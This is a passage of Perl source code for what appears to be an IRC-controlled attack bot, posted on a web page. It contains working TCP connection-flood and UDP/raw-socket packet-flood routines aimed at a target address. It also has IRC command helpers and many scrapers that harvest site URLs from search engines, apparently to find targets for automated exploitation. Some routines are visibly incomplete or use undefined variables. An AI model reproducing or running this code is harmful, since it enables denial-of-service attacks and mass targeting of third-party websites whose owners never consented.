  1287. }
  1288. }
  1289. exit;
  1290. }
  1291. }
  1292. }
  1293. sub tcpflooder {
  1294. my $itime = time;
  1295. my ($cur_time);
  1296. my ($ia,$pa,$proto,$j,$l,$t);
  1297. $ia=inet_aton($_[0]);
  1298. $pa=sockaddr_in($_[1],$ia);
  1299. $ftime=$_[2];
  1300. $proto=getprotobyname('tcp');
  1301. $j=0;$l=0;
  1302. $cur_time = time - $itime;
  1303. while ($l<1000){
  1304. $cur_time = time - $itime;
  1305. last if $cur_time >= $ftime;
  1306. $t="SOCK$l";
  1307. socket($t,PF_INET,SOCK_STREAM,$proto);
  1308. connect($t,$pa)||$j--;
  1309. $j++;
  1310. $l++;
  1311. }
  1312. $l=0;
  1313. while ($l<1000){
  1314. $cur_time = time - $itime;
  1315. last if $cur_time >= $ftime;
  1316. $t="SOCK$l";
  1317. shutdown($t,2);
  1318. $l++;
  1319. }
  1320. }
  1321. sub udpflooder {
  1322. my $iaddr = inet_aton($_[0]);
  1323. my $msg = 'A' x $_[1];
  1324. my $ftime = $_[2];
  1325. my $cp = 0;
  1326. my (%pacotes);
  1327. $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
  1328. socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  1329. socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  1330. socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  1331. socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  1332. return(undef) if $cp == 4;
  1333. my $itime = time;
  1334. my ($cur_time);
  1335. while ( 1 ) {
  1336. for (my $porta = 1; $porta <= 65000; $porta++) {
  1337. $cur_time = time - $itime;
  1338. last if $cur_time >= $ftime;
  1339. send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++;
  1340. send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++;
  1341. send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++;
  1342. send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++;
  1343. for (my $pc = 3; $pc <= 255;$pc++) {
  1344. next if $pc == 6;
  1345. $cur_time = time - $itime;
  1346. last if $cur_time >= $ftime;
  1347. socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
  1348. send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;
  1349. }
  1350. }
  1351. last if $cur_time >= $ftime;
  1352. }
  1353. return($cur_time, %pacotes);
  1354. }
  1355. sub ctcp {
  1356. return unless $#_ == 1;
  1357. sendraw("PRIVMSG $_[0] :\001$_[1]\001");
  1358. }
  1359. sub msg {
  1360. return unless $#_ == 1;
  1361. sendraw("PRIVMSG $_[0] :$_[1]");
  1362. }
  1363. sub notice {
  1364. return unless $#_ == 1;
  1365. sendraw("NOTICE $_[0] :$_[1]");
  1366. }
  1367. sub op {
  1368. return unless $#_ == 1;
  1369. sendraw("MODE $_[0] +o $_[1]");
  1370. }
  1371. sub deop {
  1372. return unless $#_ == 1;
  1373. sendraw("MODE $_[0] -o $_[1]");
  1374. }
  1375. sub j {
  1376. &join(@_);
  1377. }
  1378. sub join {
  1379. return unless $#_ == 0;
  1380. sendraw("JOIN $_[0]");
  1381. }
  1382. sub p {
  1383. part(@_);
  1384. }
  1385. sub part {
  1386. sendraw("PART $_[0]");
  1387. }
  1388. sub nick {
  1389. return unless $#_ == 0;
  1390. sendraw("NICK $_[0]");
  1391. }
  1392. sub quit {
  1393. sendraw("QUIT :$_[0]");
  1394. }
  1395. sub fetch(){
  1396. my $rnd=(int(rand(9999)));
  1397. my $n= 80;
  1398. if ($rnd<5000) {
  1399. $n<<=1;
  1400. }
  1401. my $s= (int(rand(10)) * $n);
  1402. my @dominios = ("removed-them-all");
  1403. my @str;
  1404. foreach $dom (@dominios){
  1405. push (@str,"@gstring");
  1406. }
  1407. my $query="www.google.com/search?q=";
  1408. $query.=$str[(rand(scalar(@str)))];
  1409. $query.="&num=$n&start=$s";
  1410. my @lst=();
  1411. sendraw("privmsg #debug :DEBUG only test googling: ".$query."");
  1412. my $page = http_query($query);
  1413. while ($page =~ m/<a href=\"?http:\/\/([^>\"]+)\"? class=l>/g){
  1414. if ($1 !~ m/google|cache|translate/){
  1415. push (@lst,$1);
  1416. }
  1417. }
  1418. return (@lst);
  1419. sub yahoo(){
  1420. my @lst;
  1421. my $key = $_[0];
  1422. for($b=1;$b<=1000;$b+=100){
  1423. my $Ya=("http://search.yahoo.com/search?ei=UTF-8&p=".key($key)."&n=100&fr=sfp&b=".$b);
  1424. my $Res=query($Ya);
  1425. while($Res =~ m/\<span class=yschurl>(.+?)\<\/span>/g){
  1426. my $k=$1;
  1427. $k=~s/<b>//g;
  1428. $k=~s/<\/b>//g;
  1429. $k=~s/<wbr>//g;
  1430. my @grep=links($k);
  1431. push(@lst,@grep);
  1432. }}
  1433. return @lst;
  1434. }
  1435. sub msn(){
  1436. my @lst;
  1437. my $key = $_[0];
  1438. for($b=1;$b<=1000;$b+=10){
  1439. my $msn=("http://search.msn.de/results.aspx?q=".key($key)."&first=".$b."&FORM=PORE");
  1440. my $Res=query($msn);
  1441. while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  1442. if($1 !~ /msn|live/){
  1443. my $k=$1;
  1444. my @grep=links($k);
  1445. push(@lst,@grep);
  1446. }}}
  1447. return @lst;
  1448. }
  1449. sub lycos(){
  1450. my $inizio=0;
  1451. my $pagine=20;
  1452. my $key=$_[0];
  1453. my $av=0;
  1454. my @lst;
  1455. while($inizio <= $pagine){
  1456. my $lycos="http://search.lycos.com/?query=".key($key)."&page=$av";
  1457. my $Res=query($lycos);
  1458. while ($Res=~ m/<span class=\"?grnLnk small\"?>http:\/\/(.+?)\//g ){
  1459. my $k="$1";
  1460. my @grep=links($k);
  1461. push(@lst,@grep);
  1462. }
  1463. $inizio++;
  1464. $av++;
  1465. }
  1466. return @lst;
  1467. }
  1468. #####
  1469. sub aol(){
  1470. my @lst;
  1471. my $key = $_[0];
  1472. for($b=1;$b<=100;$b++){
  1473. my $AoL=("http://search.aol.com/aol/search?query=".key($key)."&page=".$b."&nt=null&ie=UTF-8");
  1474. my $Res=query($AoL);
  1475. while($Res =~ m/<p class=\"deleted\" property=\"f:url\">http:\/\/(.+?)\<\/p>/g){
  1476. my $k=$1;
  1477. my @grep=links($k);
  1478. push(@lst,@grep);
  1479. }}
  1480. return @lst;
  1481. }
  1482. #####
  1483. sub ask(){
  1484. my @lst;
  1485. my $key=$_[0];
  1486. my $i=0;
  1487. my $pg=0;
  1488. for($i=0; $i<=1000; $i+=10)
  1489. {
  1490. my $Ask=("http://it.ask.com/web?q=".key($key)."&o=312&l=dir&qsrc=0&page=".$i."&dm=all");
  1491. my $Res=query($Ask);
  1492. while($Res=~m/<a id=\"(.*?)\" class=\"(.*?)\" href=\"(.+?)\onmousedown/g){
  1493. my $k=$3;
  1494. $k=~s/[\"\ ]//g;
  1495. my @grep=links($k);
  1496. push(@lst,@grep);
  1497. }}
  1498. return @lst;
  1499. }
  1500. #####
  1501. sub alltheweb()
  1502. {
  1503. my @lst;
  1504. my $key=$_[0];
  1505. my $i=0;
  1506. my $pg=0;
  1507. for($i=0; $i<=1000; $i+=100)
  1508. {
  1509. my $all=("http://www.alltheweb.com/search?cat=web&_sb_lang=any&hits=100&q=".key($key)."&o=".$i);
  1510. my $Res=query($all);
  1511. while($Res =~ m/<span class=\"?resURL\"?>http:\/\/(.+?)\<\/span>/g){
  1512. my $k=$1;
  1513. $k=~s/ //g;
  1514. my @grep=links($k);
  1515. push(@lst,@grep);
  1516. }}
  1517. return @lst;
  1518. }
  1519. sub google(){
  1520. my @lst;
  1521. my $key = $_[0];
  1522. for($b=0;$b<=100;$b+=100){
  1523. my $Go=("http://www.google.it/search?hl=it&q=".key($key)."&num=100&filter=0&start=".$b);
  1524. my $Res=query($Go);
  1525. while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  1526. if ($1 !~ /google/){
  1527. my $k=$1;
  1528. my @grep=links($k);
  1529. push(@lst,@grep);
  1530. }}}
  1531. return @lst;
  1532. }
  1533. #####
  1534. # SUBS SEARCH
  1535. #####
  1536. sub search(){
  1537. my @lst;
  1538. my $key = $_[0];
  1539. for($b=0;$b<=1000;$b+=100){
  1540. my $ser=("http://www.search.com/search?q=".key($key)."".$b);
  1541. my $Res=query($ser);
  1542. while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  1543. if ($1 !~ /msn|live|google|yahoo/){
  1544. my $k=$1;
  1545. my @grep=links($k);
  1546. push(@lst,@grep);
  1547. }}}
  1548. return @lst;
  1549. }
  1550. #####
  1551. # SUBS FireBall
  1552. #####
  1553. sub fireball(){
  1554. my $key=$_[0];
  1555. my $inicio=1;
  1556. my $pagina=200;
  1557. my @lst;
  1558. my $av=0;
  1559. while($inicio <= $pagina){
  1560. my $fireball="http://suche.fireball.de/cgi-bin/pursuit?pag=$av&query=".key($key)."&cat=fb_loc&idx=all&enc=utf-8";
  1561. my $Res=query($fireball);
  1562. while ($Res=~ m/<a href=\"?http:\/\/(.+?)\//g ){
  1563. if ($1 !~ /msn|live|google|yahoo/){
  1564. my $k="$1/";
  1565. my @grep=links($k);
  1566. push(@lst,@grep);
  1567. }}
  1568. $av=$av+10;
  1569. $inicio++;
  1570. }
  1571. return @lst;
  1572. }
  1573. #####
  1574. # SUBS UOL
  1575. #####
  1576. sub uol(){
  1577. my @lst;
  1578. my $key = $_[0];
  1579. for($b=1;$b<=1000;$b+=10){
  1580. my $UoL=("http://busca.uol.com.br/www/index.html?q=".key($key)."&start=".$i);
  1581. my $Res=query($UoL);
  1582. while($Res =~ m/<a href=\"http:\/\/([^>\"]*)/g){
  1583. my $k=$1;
  1584. if($k!~/busca|uol|yahoo/){
  1585. my $k=$1;
  1586. my @grep=links($k);
  1587. push(@lst,@grep);
  1588. }}}
  1589. return @lst;
  1590. }
  1591. #####
  1592. # Altavista
  1593. #####
  1594. sub altavista(){
  1595. my @lst;
  1596. my $key = $_[0];
  1597. for($b=1;$b<=1000;$b+=10){
  1598. my $AlT=("http://it.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$b);
  1599. my $Res=query($AlT);
  1600. while($Res=~m/<span class=ngrn>(.+?)\//g){
  1601. if($1 !~ /altavista/){
  1602. my $k=$1;
  1603. $k=~s/<//g;
  1604. $k=~s/ //g;
  1605. my @grep=links($k);
  1606. push(@lst,@grep);
  1607. }}}
  1608. return @lst;
  1609. }
  1610. sub altavistade(){
  1611. my @lst;
  1612. my $key = $_[0];
  1613. for($b=1;$b<=1000;$b+=10){
  1614. my $AlT=("http://de.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$b);
  1615. my $Res=query($AlT);
  1616. while($Res=~m/<span class=ngrn>(.+?)\//g){
  1617. if($1 !~ /altavista/){
  1618. my $k=$1;
  1619. $k=~s/<//g;
  1620. $k=~s/ //g;
  1621. my @grep=links($k);
  1622. push(@lst,@grep);
  1623. }}}
  1624. return @lst;
  1625. }
  1626. sub altavistaus(){
  1627. my @lst;
  1628. my $key = $_[0];
  1629. for($b=1;$b<=1000;$b+=10){
  1630. my $AlT=("http://us.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$b);
  1631. my $Res=query($AlT);
  1632. while($Res=~m/<span class=ngrn>(.+?)\//g){
  1633. if($1 !~ /altavista/){
  1634. my $k=$1;
  1635. $k=~s/<//g;
  1636. $k=~s/ //g;
  1637. my @grep=links($k);
  1638. push(@lst,@grep);
  1639. }}}
  1640. return @lst;
  1641. }
  1642. #####
  1643. # HotBot
  1644. #####
  1645. sub hotbot(){
  1646. my @lst;
  1647. my $key = $_[0];
  1648. for($b=0;$b<=1000;$b+=100){
  1649. my $hot=("http://search.hotbot.de/cgi-bin/pursuit?pag=$av&query=".key($key)."&cat=hb_loc&enc=utf-8".$b);
  1650. my $Res=query($hot);
  1651. while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  1652. if ($1 !~ /msn|live|google|yahoo/){
  1653. my $k=$1;
  1654. my @grep=links($k);
  1655. push(@lst,@grep);
  1656. }}}
  1657. return @lst;
  1658. }
  1659. #####
  1660. # Mamma
  1661. #####
  1662. sub mamma(){
  1663. my @lst;
  1664. my $key = $_[0];
  1665. for($b=0;$b<=1000;$b+=100){
  1666. my $mam=("http://www.mamma.com/Mamma?utfout=$av&qtype=0&query=".key($key)."".$b);
  1667. my $Res=query($mam);
  1668. while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  1669. if ($1 !~ /msn|live|google|yahoo/){
  1670. my $k=$1;
  1671. my @grep=links($k);
  1672. push(@lst,@grep);
  1673. }}}
  1674. return @lst;
  1675. }
  1676. #####
  1677. # MozBot
  1678. #####
  1679. sub mozbot()
  1680. {
  1681. my @lst;
  1682. my $key=$_[0];
  1683. my $i=0;
  1684. my $pg=0;
  1685. for($i=0; $i<=100; $i+=1){
  1686. my $mozbot=("http://www.mozbot.fr/search?q=".key($key)."&st=int&page=".$i);
  1687. my $Res=query($mozbot);
  1688. while($Res =~ m/<a href=\"?http:\/\/(.+?)\" target/g){
  1689. my $k=$1;
  1690. $k=~s/ //g;
  1691. my @grep=links($k);
  1692. push(@lst,@grep);
  1693. }}
  1694. return @lst;
  1695. }
  1696. sub links()
  1697. {
  1698. my @l;
  1699. my $link=$_[0];
  1700. my $host=$_[0];
  1701. my $hdir=$_[0];
  1702. $hdir=~s/(.*)\/[^\/]*$/\1/;
  1703. $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1704. $host.="/";
  1705. $link.="/";
  1706. $hdir.="/";
  1707. $host=~s/\/\//\//g;
  1708. $hdir=~s/\/\//\//g;
  1709. $link=~s/\/\//\//g;
  1710. push(@l,$link,$host,$hdir);
  1711. return @l;
  1712. }
  1713. sub geths(){
  1714. my $host=$_[0];
  1715. $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1716. return $host;
  1717. }
  1718. sub key(){
  1719. my $chiave=$_[0];
  1720. $chiave =~ s/ /\+/g;
  1721. $chiave =~ s/:/\%3A/g;
  1722. $chiave =~ s/\//\%2F/g;
  1723. $chiave =~ s/&/\%26/g;
  1724. $chiave =~ s/\"/\%22/g;
  1725. $chiave =~ s/,/\%2C/g;
  1726. $chiave =~ s/\\/\%5C/g;
  1727. return $chiave;
  1728. }
  1729. sub query($){
  1730. my $url=$_[0];
  1731. $url=~s/http:\/\///;
  1732. my $host=$url;
  1733. my $query=$url;
  1734. my $page="";
  1735. $host=~s/href=\"?http:\/\///;
  1736. $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1737. $query=~s/$host//;
  1738. if ($query eq "") {$query="/";};
  1739. eval {
  1740. my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
  1741. print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  1742. my @r = <$sock>;
  1743. $page="@r";
  1744. close($sock);
  1745. };
  1746. return $page;
  1747. }
  1748. sub unici{
  1749. my @unici = ();
  1750. my %visti = ();
  1751. foreach my $elemento ( @_ )
  1752. {
  1753. next if $visti{ $elemento }++;
  1754. push @unici, $elemento;
  1755. }
  1756. return @unici;
  1757. }
  1758. sub http_query($){
  1759. my ($url) = @_;
  1760. my $host=$url;
  1761. my $query=$url;
  1762. my $page="";
  1763. $host =~ s/href=\"?http:\/\///;
  1764. $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1765. $query =~s/$host//;
  1766. if ($query eq "") {$query="/";};
  1767. eval {
  1768. local $SIG{ALRM} = sub { die "1";};
  1769. alarm 10;
  1770. my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
  1771. print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  1772. my @r = <$sock>;
  1773. $page="@r";
  1774. alarm 0;
  1775. close($sock);
  1776. };
  1777. return $page;
  1778. }}

comments powered by Disqus